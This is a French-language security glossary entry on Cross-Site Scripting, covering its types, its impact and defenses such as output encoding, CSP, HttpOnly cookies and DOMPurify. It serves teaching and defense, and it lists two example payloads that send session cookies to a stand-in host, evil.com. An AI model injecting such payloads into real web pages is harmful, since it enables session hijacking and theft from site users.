Glossaire

XSS

Vulnérabilité web permettant à un attaquant d'injecter du code JavaScript malveillant dans une page consultée par d'autres utilisateurs, pour voler des sessions, rediriger ou manipuler le DOM.

Le Cross-Site Scripting (XSS) est classé A03 dans l'OWASP Top 10 2021. Il se produit quand une application intègre des données non validées dans sa sortie HTML sans encodage approprié.

Types de XSS :

  • Reflected XSS : le payload est dans l'URL, exécuté immédiatement, non persisté

  • Stored XSS : le payload est stocké en base (commentaires, pseudos) et exécuté à chaque visite

  • DOM-based XSS : manipulation du DOM côté client sans passer par le serveur

Payloads classiques :

javascript

<script>document.location='https://evil.com/steal?c='+document.cookie</script>
<img src=x onerror="fetch('https://evil.com/'+btoa(document.cookie))">

Impact : Vol de cookies de session, keylogging, redirection vers phishing, défacement, exploitation de confiance.

Défense :

  • Encodage systématique des sorties (HTML entities)

  • Content Security Policy (CSP) strict — bloque l'exécution inline

  • HttpOnly + Secure sur les cookies

  • DOMPurify pour la sanitisation côté client et serveur

  • Validation des entrées (jamais suffisante seule)

Question fréquente

Quelle est la différence entre XSS stocké et XSS réfléchi ?

Le XSS réfléchi nécessite que la victime clique sur un lien contenant le payload — il n'est pas sauvegardé. Le XSS stocké est persisté en base de données et s'exécute automatiquement pour tous les utilisateurs consultant la page infectée, le rendant bien plus dangereux.

Termes associés
Outils associés